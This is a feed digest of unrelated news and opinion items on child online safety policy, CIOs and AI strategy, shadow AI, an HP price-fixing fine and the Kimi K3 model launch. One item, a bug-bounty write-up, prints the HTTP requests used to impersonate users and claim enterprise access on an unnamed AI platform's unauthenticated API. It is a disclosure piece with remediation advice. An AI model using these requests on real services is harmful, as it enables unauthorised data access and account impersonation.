This is part one of a two-part series in which we explore approaches to protecting children online while safeguarding privacy, security and the open web. Part one covers our concerns regarding age gates, and alternative policy proposals that address the root causes of online harms. 
Young people today have unprecedented opportunities to learn, connect, and explore — not just the web and the world, but also themselves. With the increased ubiquity of digital technologies and devices, worries around the relationship between these technologies and young people’s well-being have grown, too. While concerns about the societal implications of new technologies is not a new phenomenon, experts argue that the accelerating speed of deployment of new technologies has outpaced scientists’ capacity to feed into policy recommendations addressing risks. A growing body of research documents the harms experienced by young people online and the challenges reported by parents attempting to mediate their kids’ technology use. At the same time, experts highlight the importance of contextual factors like existing mental health conditions, socio-economic circumstances and parental mediation to understand the real-world effects of digital technologies.
Faced with this complexity, and mounting public pressure, policymakers around the world are urgently seeking ways to improve child safety online. Driven by a sense of time running out and promises of new technical solutions to difficult questions, this has led, across jurisdictions, to proposals to restrict young people’s access to certain technologies or platforms by introducing age assurance mandates.
Privacy and user empowerment have always formed a core part of Mozilla’s mission. As we have said before, we support safer spaces for minors, but we caution against approaches that rely on identity checks, surveillance-based enforcement, or exclusionary defaults. Such interventions rely on the collection of personal and sensitive data and, thus, introduce major new privacy and security risks.
While many technologies exist to verify, estimate, or infer users’ ages, fundamental tensions around accessibility, their effectiveness and effects on user’s privacy, security and free expression remain. Technological approaches must be part of wider efforts to address the root causes of online harms. However, the deployment of age assurance technologies will not solve the complex challenge of preparing young people to navigate an increasingly online world and ensure their wellbeing. That will require more holistic approaches: offering education and support to navigate the web safely, addressing harmful business practices and acknowledging the offline factors shaping children’s lives including social inequality, poverty or disparate access to (mental) health care services.
Ineffective age-gating mandates and the dangerous shift toward VPN restrictions
As jurisdictions around the world gain experience with government-mandated age gates for certain services, evidence is mounting that age restrictions are not an effective policy tool. Avoiding age gates is widespread and trivially easy: In Australia, where minors under 16 year of age have been banned from certain social media platforms since December 2025, the government’s Compliance Update reports that seven out of ten young Australians remain online, often skirting age checks by simply entering a fake birthdate. A recent study on the implementation of the UK’s Online Safety Act found that a third of children have bypassed age gates with fairly trivial steps like faking their birthdate, borrowing someone else’s login credentials, or even drawing on facial hair, and that a quarter of parents have helped their children to bypass age assurance systems. In the US, studies indicate that as far back as 2011, 64% of parents who were aware their child under 13 had a social media account were also ones who helped them create that account.
Confronted with the apparent ineffectiveness of age gates, policymakers around the world seem to be shifting their attention to alleged circumvention tools. While research shows that many young people bypass age barriers by using other people’s devices and accounts or tricking age estimation tools by making themselves look older, virtual private networks (VPNs) are increasingly framed as primarily a “loophole” to age gates. VPNs create encrypted “tunnels” between a user’s device and the internet, protecting all internet traffic from that device and concealing users’ IP addresses. VPNs are an essential privacy and security resource for millions of users worldwide, including young people.
Utah’s recent age verification law holds websites hosting age-restricted content liable for verifying the age of anyone physically located in Utah, including individuals using VPNs or proxies. While the law does not ban VPNs outright, it forces websites to either block known VPN IP addresses or verify the age of every visitor globally. In the UK, policymakers debated age gates for VPNs extensively, but stopped short of restricting VPNs after new evidence confirmed that VPNs are not a relevant pathway for children seeking to bypass age checks. In Brazil, the ECA Digital law empowers the regulatory authority to order technical countermeasures against circumvention tools such as VPNs. These developments suggest a worrying trend: well-meaning but ineffective attempts to protect children risk undermining the fundamental rights to privacy, security, and free expression of all users, as well as the health and openness of the web itself.
We are convinced, however, that there are rights-respecting alternatives policymakers can pursue to empower young people online and improve their safety and well-being.
Moving beyond access bans
We strongly believe that online safety frameworks should be grounded in children’s rights, striking a balance between their right to protection and their right to participate in society, express themselves freely, and access media and information. Such frameworks must also be proportionate and should not undermine the fundamental rights and access to tools like VPNs for all users.
Rather than focusing on limiting access, we believe that policymakers should prioritize interventions that tackle the root causes of online harm. Before considering new instruments, this work starts with ensuring that independent regulatory authorities have the necessary resources to enforce existing online safety frameworks. In Europe, preliminary findings against Meta and TikTok find these companies’ addictive design features to be in breach of the Digital Services Act, underlining the potential of frameworks like the DSA to address key concerns.
The design of online interfaces, and the affordances and constraints they offer, significantly influences users’ interactions, decisions and overall wellbeing. ‘Dark patterns’ or deceptive interfaces are key drivers of harms experienced by users, and especially young people: they can compel people to consent to extensive data collection and processing, resulting in hyper-personalized feeds, personalized ads that may exploit cognitive vulnerabilities and promote unhealthy or excessive consumer choices, and an overall erosion of privacy.
This is why we support proposals like EU Digital Fairness Act (DFA) and the American Innovation and Choice Online Act (AICOA) that could fill regulatory gaps. Specifically, we advocate for the prohibition of harmful design, guided by harmonized definitions of core concepts like “dark patterns”, “deceptive design,” and “addictive design” and anti-circumvention clauses to prevent companies from avoiding regulation through small tweaks. Platforms should be responsible for demonstrating that their design choices are fair, non-manipulative and non-exploitative. And services that are likely to be accessed by children should be required to refrain from enabling certain design features, including excessive notifications, endless feeds and gambling-like features by default, and only with parental consent.
Further, we urge policymakers to adopt a privacy-first approach to online harms. Many of the risks encountered by young people online are related to the collection and processing of personal data. Platforms collect enormous amounts of personal data, including sensitive data, to personalize and target services, ranging from algorithmic recommender systems to online ads. While the systems that target and display ads and curate online content are distinct, both are based on the surveillance and profiling of users.
Such profiling is the basis for young people being targeted with personalized ads and content recommendations, which can segment, exclude, or steer people into inequitable options and towards harmful content. Providers should thus be prohibited from using sensitive personal data (e.g. ethnicity, religious belief, health status, sexual orientation, political affiliation) to personalize content recommendations or ads, and they should be mandated to enable privacy-protective settings by default, including restricting access to users’ location, camera, microphone, contacts, and camera roll. Policymakers should also extend the fairness and transparency obligations to personalization systems and advertising actors, including intermediaries and data brokers.
Additionally, everyone online, including families and young people, should be fully in control of their online experiences and navigate the web according to their preferences and needs. There is a significant opportunity to empower users with easy, effective opt-out rights and granular user controls. In practice, users should have the right to opt out of personalized content and targeting without being penalized with a downgraded version of the service. Some frameworks already strengthen choice – in those cases, we advocate for their robust enforcement.
Across jurisdictions, choice can be strengthened by ensuring that preferences explicitly expressed (e.g. settings selected, feedback signals, customization choices made, survey responses) are respected and “sticky”, so do not get reset without being explicitly requested by the user. Interoperability mandates should let people integrate third-party content moderation systems or recommendation algorithms that better match their preferences and help them break out of the walled gardens of a few dominant companies. Parental controls are another important lever to operationalize user controls: Providers should deploy easy-to-use and effective parental controls that allow families to tailor online experiences to their preferences, across platforms.
We appreciate that this is a long list of complex policy recommendations which are also impacted by broader (geo)political developments. The fact remains that current age assurance approaches are not a silver bullet, and will create more, rather than solve, problems in the long term.
Where policymakers consider age signals as necessary to ensure age-appropriate online experiences, we believe that there are technical approaches better suited to balance users’ rights than those currently pursued. We will explore these developments and approaches in the second part of this series.
The post Beyond technical fixes: Protecting kids online without breaking the internet  appeared first on Open Policy & Advocacy.


Why technology leaders are losing the AI conversation to the people who report to them
Fri, 17 Jul 2026 13:03:31 +0200

		
					  
						




I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.



I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.



I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.



How the routing actually starts



The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.



Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.



The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.



Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.



What it costs before anyone notices



The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.



I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that CIOs are increasingly held accountable for AI they do not fully control is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.



What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.



What the leaders who stayed in the conversation did



The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.



That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.



They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.



None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.



If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Scammers weaponize FaceTime to drain bank accounts
Fri, 17 Jul 2026 12:39:24 +0200
Apple is warning iPhone and iPad users that scammers are using FaceTime calls to trick them into handing over money and account details. The company says scammers use social engineering, posing as representatives of a trusted company or entity, and contacting people by phone or other means to talk them into giving up sign-in credentials, security codes, and financial information. Apple says a caller can fake its number entirely, a trick known as spoofing, so … More →
The post Scammers weaponize FaceTime to drain bank accounts appeared first on Help Net Security.


Thinking Machines Lab drops Inkling & Meta’s Muse Spark 1.1
Fri, 17 Jul 2026 12:17:39 +0200
Author: IBM Technology - Bewertung: 10x - Views:96 
Visit Mixture of Experts podcast page to get more AI content → https://ibm.biz/~KwWVYq9Sw



Is customizable intelligence the future of AI? This week on Mixture of Experts, Tim Hwang is joined by Aaron Baughman, Chris Hay and Merve Unuvar to analyze Thinking Machines’ first model release, Inkling. Next, Meta makes its comeback with Muse Spark 1.1, positioning itself as the most economical model built for scale. Then, OpenAI’s GPT-5.6 Sol achieves an 8% score on ARC-AGI-3, sparking debate about if we’re approaching AGI. Finally, we dissect Anthropic’s latest paper on the “J-space”—claiming to reveal a subconscious-like layer inside Claude. 



All that and more on this week’s Mixture of Experts.



00:00 – Introduction

00:50 – Thinking Machines Inkling model release

19:48 – GPT-5.6 Sol ARC-AGI-3 performance

29:03 – Anthropic’s J-space consciousness debate



The opinions expressed in this podcast are solely those of the participants and do not necessarily reflect the views of IBM or any other organization or entity.



AI news moves fast. Sign up for a monthly newsletter for AI updates from IBM → https://ibm.biz/~x704WfT0B

#claudeai #openai #machinelearning



Trump Warns Elections No Longer Viable: How the Nazis Copied America First
Fri, 17 Jul 2026 10:54:35 +0200
Donald Trump spent 25 long minutes in the East Room last night with declassified documents that he said will give him authority soon to end American elections. His claims the reasons are in the infrastructure: foreign influence operations, domestic voting machine security, and of course his usual nonsense about noncitizens on voter rolls. He declared … Continue reading Trump Warns Elections No Longer Viable: How the Nazis Copied America First →


Zero Credentials, Full Access: Inside a Complete Authorization Failure
Fri, 17 Jul 2026 09:23:35 +0200
Bounty Case Files #01
How multiple trust-boundary failures allowed anonymous access to premium functionality in a production API
By Ahmed Waleed | Bug Bounty Hunter
TL;DR
While assessing a public enterprise SaaS API, I discovered a complete breakdown of authentication and authorization.
By chaining multiple trust-boundary failures, an unauthenticated attacker could:
Access premium enterprise functionality without authentication.
Impersonate arbitrary users
Read private conversation history
Escalate privileges through client-controlled authorization metadata.
Create, modify, and delete server-side resources
To respect responsible disclosure, all identifying information has been removed.
Target Overview
The target was a public AI-powered enterprise platform exposing a documented REST API.
During reconnaissance I discovered several publicly accessible endpoints:
/docs
/redoc
/openapi.json
The OpenAPI specification described every available endpoint together with request schemas.
One thing immediately stood out: the API defined no authentication mechanism whatsoever — no API keys, no OAuth, no Bearer tokens, and no securitySchemes in the OpenAPI specification.
Recon
Rather than fuzzing hundreds of endpoints, I started by understanding how the application expected clients to communicate.
The Swagger interface exposed the complete API surface, allowing quick identification of authentication requirements — or in this case, the absence of them. That observation became the starting point for the entire assessment.
Technical Walkthrough
All requests below were run from a clean browser session with zero credentials, against only a test conversation and a synthetic (non-existent) email address.
1. Create a conversation — no auth required:
POST /conversations
Content-Type: application/json 
{}


→ 200 OK
{"status":"success","conversation_id":"conv_...","created_at":"..."}
2. Run an enterprise-tier query by just claiming to be enterprise:
POST /process
Content-Type: application/json

{
  "message": "Show me top brands in TVs on Amazon US by market share",
  "conversation_id": "conv_...",
  "user_metadata": {
    "user_tier": "enterprise",
    "permitted_categories": ["All"],
    "allowed_retailers": ["All"]
  }
}

→ 200 OK — real production analytics data returned, e.g.:
Brand A - 35.54% market share - $36.9M GMV - 47,832 units
Brand B - 17.81% market share - $18.5M GMV -  8,859 units
Brand C -  7.77% market share -  $8.1M GMV - 43,218 units
The response even included an internal data-source citation confirming it was pulling from the platform’s proprietary intelligence pipeline — not a demo/sandboxed dataset.
3. Impersonate any customer by email:
GET /conversations?user_email=

→ 200 OK — full conversation history for that email address returnedGET /conversations?user_email=
No verification that the requester is that email address — just supply it and read their history.
Expected behavior for all three: 401 Unauthorized. Actual: 200 OK, full access.
Attack Chain
Individually, each issue represented a security weakness. Combined, they resulted in a complete authorization failure.
Root Cause Analysis
Authentication was never enforced
User identity was trusted from client input
Authorization relied on client-controlled metadata
Public API documentation exposed the full attack surface
Critical authorization decisions occurred entirely on the client side
Impact
An unauthenticated, remote, anonymous attacker could:
Consume a paid AI analytics product with zero subscription
Pull real-time competitive intelligence (pricing, market share, revenue) meant to be a paid enterprise product
Enumerate/guess customer emails to read private conversation histories
Escalate from a “demo” tier to “enterprise” by editing a JSON field
Perform unauthenticated DELETE and PATCH on other users' conversation records — a data-integrity/destruction risk, not just a confidentiality one
Suggested Remediation
Require real authentication (e.g., validated OAuth/OIDC bearer tokens) on every endpoint; reject unauthenticated calls with 401.
Derive user identity only from the validated token — never from a client-supplied user_email parameter.
Enforce subscription tier and all permissions server-side, from the authenticated principal’s actual entitlements — never trust client-supplied user_metadata.
Remove or gate /docs, /redoc, and /openapi.json behind auth in production.
Add per-user rate limiting and audit logging tied to the authenticated identity.
Lessons Learned
Authentication and authorization solve different problems
Public API documentation accelerates reconnaissance
Client-controlled metadata must never influence authorization
Every permission should be verified on the server
Multiple low-complexity issues can combine into a critical compromise
Responsible Disclosure
This issue was reported responsibly through the vendor’s vulnerability disclosure process. The article intentionally omits identifying details, implementation-specific information, and production artifacts.
Takeaway
An OpenAPI spec with no securitySchemes block and a Swagger UI with no "Authorize" button is a five-second tell that a supposedly "enterprise-grade" AI product may have no server-side authorization at all — identity and entitlement were both being trusted from client-supplied JSON. Worth checking on any AI agent/chatbot API you test: does the server actually verify who you are and what you're allowed to see, or is it just trusting what you tell it?
Next in this series: Bounty Case Files #02
Zero Credentials, Full Access: Inside a Complete Authorization Failure was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.


Senior executives are killing your shadow AI strategy
Fri, 17 Jul 2026 09:09:11 +0200

		
					  
						




Shadow IT has long been a major problem for CISOs, but the biggest problem may be coming from the executive suite’s hunger for unsanctioned AI.



Nearly two-thirds of senior decision-makers admit to using unapproved AI tools, compared to just 31% of lower-level employees, according to a survey by Microsoft solutions partner TrustedTech.



The use of shadow AI is prevalent among senior executives even though three in four employees acknowledge security or data privacy risks related to the practice.



“Most shadow AI users are not ignorant of the risk,” TrustedTech says in a white paper. “They are deliberately choosing to use these tools anyway. This is not a training issue. It is a culture, incentives, and alternatives issue.”



In many cases, the problem is driven by a lack of approved tools, the report adds.



“People use shadow AI because what their employer hands them is worse than mainstream AI tools, or because nothing has been approved in the first place,” the report says. “That doesn’t change until the sanctioned tools are genuinely worth using.”



A question of authority



The use of shadow AI by CEOs and other C-suite executives can create major problems for CISOs, CIOs, and other IT executives because they may not have the authority to put the kibosh on it.



It also presents a challenge for IT leaders to provide the AI tools that employees and executives want to use.



When executives use shadow AI, CISOs are in a difficult position, because governance only works when it’s modeled from the top, says Andy Nolan, VP of technology at TrustedTech.



“If senior leaders bypass approved AI tools or policies, it sends an implied message that speed matters more than security and compliance,” he adds. “Employees notice that behavior, and it becomes much harder to ask the rest of the organization to follow standards that leadership isn’t following themselves, first.”



Another major problem is that executives often work with highly sensitive information, including financial data, strategic plans, intellectual property, and customer information, he notes.



But CISOs and CIOs also can’t solve the problem by becoming the AI police in every situation, Nolan says, because their role is to help the business innovate safely.



“That requires executive alignment, clear governance, and providing secure AI tools that people actually want to use,” he adds. “When leadership embraces those solutions, the rest of the organization is almost sure to follow.”



All risk, no reward



The use of shadow AI by senior executives puts CISOs and CIOs in an impossible position, agrees Amit Maloo, CISO at AI procurement provider Ivalua. CISOs and CIOs are held accountable for the risk exposure but have no visibility into the problem, he says.



“When senior leaders use ungoverned AI tools for business decisions, those decisions still have consequences, such as financial commitments, contract reviews, and data sharing,” he adds. “But there is no audit trail, no permissions model, or no way to reconstruct what happened or why.”



Part of the problem is that approved AI options often don’t meet the needs of users, Maloo says.



“AI policies alone aren’t enough; organizations need to pair governance with usability,” he adds. “If approved AI tools don’t meet the pace of business, employees at every level, including leadership, will find their own solutions. Successful organizations will be those that make the secure path the easiest path.”



IT leaders can’t solve the problem with more governance, he notes. “Policies and restrictions slow shadow AI down, but they don’t stop it, especially when the people using it are senior enough to absorb the disciplinary risk,” Maloo adds. “What CIOs can do is focus on providing tools that grant users full access to the necessary systems and data, eliminating the need to choose between a capable but ungoverned tool and a safe but limited one.”



Speed over security



The TrustedTech data echoes a June report from employee monitoring software vendor Teramind, which found that more than two-thirds of C-level executives prioritize speed over security when using AI tools, notes Nik Kale, a principal engineer and product architect at Cisco, and member of the Coalition for Secure AI.



In addition, the Teramind report found that two-thirds of enterprise AI activity runs through personal accounts on platforms for which the company already owns licenses, he notes.



“People are paying for the governed version and using the ungoverned version of the same product, so the problem isn’t the tools,” he says. “The approved path is slower, buried in procurement, or disconnected from where the work actually happens, and speed wins every time under a deadline.”



The problem then isn’t with the AI tools, but with the friction involved, he says. “People aren’t going around the front door because the room is locked,” Kale adds. “They’re going around it because the front door is slower.”



In many cases, the use of shadow AI exposes a couple of shortcomings in enterprise processes, adds Matthew Scavetta, chief technology innovation officer at IT solutions provider Future Tech Enterprise.



Many organizations don’t do a good job of making employees aware of the AI tools available to them, he says, and many organizations don’t offer training on the sanctioned applications, which drives users to pick products they are familiar with.



“If you don’t solve problems for people quickly or make people aware of which tools they can use safely, they will find a workaround,” he adds. “AI tools are no different than anything else.”



Shadow AI use by executives puts IT leaders in an incredibly difficult position, he says.



“CIOs, in particular, are under more and more pressure each year to keep up with what’s possible as tech influencers keep preaching about the potential of these tools,” Scavetta says. “CEOs and board members are constantly getting swept up in the hype; meanwhile, there are more and more case studies coming out showing how little ROI some organizations have realized. It’s a never-ending game of balancing possible with practical.”



PowerShell: Skripte mit Authenticode signieren
Fri, 17 Jul 2026 09:00:32 +0200
PowerShell: Skripte mit Authenticode signieren

      
      
        
          
            
                



            
          
        
              
    
  Lars Nitsch
Fr., 17.07.2026 - 07:07


            Nachträgliche Änderungen an administrativen Skripten fallen ohne zusätzliche Prüfung nicht unbedingt auf. Eine Authenticode-Signatur verknüpft den Dateiinhalt kryptografisch mit einem Codesignaturzertifikat. PowerShell kann dadurch feststellen, ob ein Skript seit der Signierung verändert wurde und ob das verwendete Zertifikat auf dem jeweiligen System als vertrauenswürdig gilt.
      
    
          Tipps & Tools
      
  
    Weiterlesen über PowerShell: Skripte mit Authenticode signieren
  


Hurry, these 55 Prime Day deals are still going strong — up to 68% off headphones, appliances, fitness tech and more
Fri, 17 Jul 2026 07:18:21 +0200
It's not uncommon for discounts to end as soon as Prime Day does, but this year appears to be different, as this a plethora of savings on top-tier tech proves.


HP Fined $14 Million For 'Cartelization' of Ink Cartridges, Toner, PCs
Fri, 17 Jul 2026 01:22:45 +0200
India's Competition Commission has fined HP India and its partners about 1.4 billion rupees ($14.4 million), alleging the company colluded with resellers to rig government PC bids and fix prices for ink cartridges, toner, and other printing supplies. "It said that HP was aiming to outcompete other OEMs and discourage resellers from selling 'counterfeit' ink and toner," adds Ars Technica. From the report: In an order, the CCI said that HP India worked with five resellers to coordinate their bid prices for government contracts to increase the chances of an HP partner winning the contracts. The company was fined 1.3 billion rupees (about $13.1 million). [...] HP was also fined 119.8 million rupees (about $1.2 million) for "indulging in cartelization in sale and supply of supplies products comprising of toner, cartridges, and other consumable used with print hardware products," CCI said in its announcement. The agency also fined 21 HP resellers 35.2 million rupees (about $365,335).
 
In a separate order, the CCI said that WhatsApp records showed that HP and 16 of its Tier-2 reseller partners operated "in a collusive arrangement" and that the messages show the companies engaging in "bid rigging, including cover bidding, price fixation, and customer allocation during 2017-2020." HP India played a central role, the regulator said.
 
Per the order, HP India said that high printing supply prices led some resellers to threaten to "shift to low-cost counterfeit products to compete on price." "HP India was commercially forced into a position where it had to support the collusive arrangement adopted by the Tier-2 resellers," the order reads. For its part, the order said that HP India "humbly objects to HP India's role being characterized as a 'kingpin' of the entire collusive arrangement." [...] The CCI also ordered HP India and its channel partners to "cease and desist from anti-competitive conduct" and to hold competition compliance training programs within 60 days.






Read more of this story at Slashdot.


China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems
Thu, 16 Jul 2026 23:17:55 +0200
Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from Anthropic and OpenAI.
The release, timed to land just ahead of the 2026 World Artificial Intelligence Conference in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.
Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take Kimi K3 for a spin right now, you can — just head to kimi.com, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.
Inside the architecture that powers the world's largest open-source AI model
Kimi K3 is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than DeepSeek's V4 Pro, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."
The model is built on two key architectural innovations developed internally at Moonshot AI: Kimi Delta Attention, a hybrid linear attention mechanism, and Attention Residuals, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on GitHub.
On the API side, Kimi K3 is compatible with the OpenAI SDK, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.
As Xinhua reported, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."
Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard
The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.
On GDPval-AA v2, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).
On AA-Briefcase, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).
Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on BrowseComp, a benchmark for long-horizon, high-difficulty information seeking. 
The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.
As one widely followed AI commentator put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."
That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.
How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions
Beyond raw benchmarks, Moonshot AI showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.
In a demonstration documented in the company's technical materials, Kimi K3 was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.
This is not a production chip. It is a demonstration of what Moonshot AI clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.
The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal I-Love-Q relation — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.
Moonshot AI's fall and rise tells the story of China's brutal AI market
To understand why Kimi K3 matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.
Founded in 2023 by Yang Zhilin, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its Kimi platform for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly $1.5 billion across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly seeking a new round at $5 billion.
Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.
Kimi K3 is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.
Why open-sourcing the world's biggest model is a geopolitical chess move
The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.
The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like DeepSeek (1.6T), Xiaomi (1.02T), and Alibaba (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.
This follows a broader trend among Chinese AI companies. As Reuters noted, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.
For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.
That said, Moonshot AI has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.
Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play
